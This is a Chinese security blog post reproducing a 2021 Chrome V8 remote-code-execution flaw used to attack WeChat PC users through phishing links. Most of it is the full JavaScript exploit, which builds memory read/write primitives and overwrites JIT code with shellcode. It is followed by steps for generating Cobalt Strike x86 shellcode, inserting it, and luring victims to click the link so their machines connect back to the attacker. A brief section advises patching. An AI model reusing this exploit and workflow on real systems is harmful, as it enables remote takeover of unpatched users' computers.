Chrome-0day引发的一波蝴蝶效应

admin 2021年7月20日06:07:05评论59 views字数 3892阅读12分58秒阅读模式

文章来源:FreeBuf    By:To凌镜

0x00 前言

近日Chrome爆出0day在安全圈内掀起了一大波浪潮,恰好又正处攻防演练期间,这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程,笔者秉承着学习的心态,复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏,请各位大佬留言指正。

0x01 漏洞利用条件

1.本次漏洞是由Chrome浏览器引起的远程代码执行,由于Chrome本身是存在沙箱的,想要利用此次漏洞,条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。

CMD下运行以下代码,关闭沙箱: C:UsersXXXAppDataLocalGoogleChromeApplicationchrome.exe -no-sandbox

2.由于微信中默认使用Chrome内核,且沙箱处于关闭状态,如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接,诱使用户点击从而触发隐藏在链接中的shellcode。

Chrome-0day引发的一波蝴蝶效应

0x02 漏洞利用过程

1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。

注意:Poc使用要与微信版本对应,否则无法上线。

Poc如下:

ENABLE_LOG = true;IN_WORKER = true;
// run calc and hang in a loopvar shellcode = [ ];//shellcode替换成自己的 注意是x86的function print(data){}
var not_optimised_out = 0;var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12;});
for (var i = 0; i < 0x10000; ++i) { target_function(i);}
var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;
function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f';}
function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); }}
function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null;
this.page_buffer = null; this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } }
this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } }); cb(true);
class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. );
// this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } }
// try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; }
class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } }
return DerivedN; })`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); }
this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); }
this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); }
this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); }
this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); }
this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this;}
function trigger() { var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);}
try{ print("start running"); trigger();}catch(e){ print(e);}

Chrome-0day引发的一波蝴蝶效应

2.CS创建监听器

Chrome-0day引发的一波蝴蝶效应

监听器创建成功

Chrome-0day引发的一波蝴蝶效应

3.CS生成C格式Paylaod

Chrome-0day引发的一波蝴蝶效应

这里不勾选X64,因为微信PC端处理器为X86。

Chrome-0day引发的一波蝴蝶效应

将生成的C文件,替换到上述shellcode数组中,如下图所示:

Chrome-0day引发的一波蝴蝶效应

4.本地搭建测试环境,微信点击链接CS上线

Chrome-0day引发的一波蝴蝶效应

0x03 修复建议

1.Chrome官方已经对本次漏洞进行修补,请升级到最新的Chrome版本。

2.微信同时也发布了3.2.1.143最新版本,请大家及时下载更新。

0x04 总结

归根结底本次漏洞利用了Chrome浏览器远程代码执行,理论上来讲,所有使用Chrome内核,且关闭沙箱的软件都有可能被攻击者利用。笔者在复现的过程中,看到了某实验室写到的一篇文章利用appscan扫描器(使用Chrome内核进行爬取)CS上线,有兴趣的同学可以自行搜索学习。

Chrome-0day引发的一波蝴蝶效应

精彩推荐





Chrome-0day引发的一波蝴蝶效应



【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗Chrome-0day引发的一波蝴蝶效应

往期文章有彩蛋哦Chrome-0day引发的一波蝴蝶效应

Chrome-0day引发的一波蝴蝶效应



本文始发于微信公众号(渗透Xiao白帽):Chrome-0day引发的一波蝴蝶效应

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月20日06:07:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chrome-0day引发的一波蝴蝶效应http://cn-sec.com/archives/371664.html

发表评论

匿名网友 填写信息